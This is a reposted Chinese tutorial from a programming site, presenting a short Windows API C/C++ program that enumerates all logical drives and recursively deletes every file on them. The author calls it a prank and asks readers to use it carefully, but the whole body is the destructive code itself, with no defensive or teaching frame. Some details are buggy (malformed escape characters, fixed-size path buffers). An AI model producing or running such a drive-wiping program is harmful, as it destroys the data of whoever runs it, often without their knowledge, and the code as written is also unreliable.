首页 > 编程 > C > 正文

基于Windows API实现遍历所有文件并删除的方法

2020-01-26 15:07:48
字体:
来源:转载
供稿:网友

本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){ WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s//*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) {  continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) {  sprintf_s(cNewPath,"%s//%s",cFilePath,data.cFileName);  DelFile(cNewPath);//递归 }// MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s//%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data));}int WINAPI WinMain( HINSTANCE hInstance,   // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine,     // command line int nCmdShow       // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','/0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) {  Path[0]='A'+ix;  DelFile(Path); } } return 0;}

希望本文所述对大家的win32程序设计有所帮助。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表

图片精选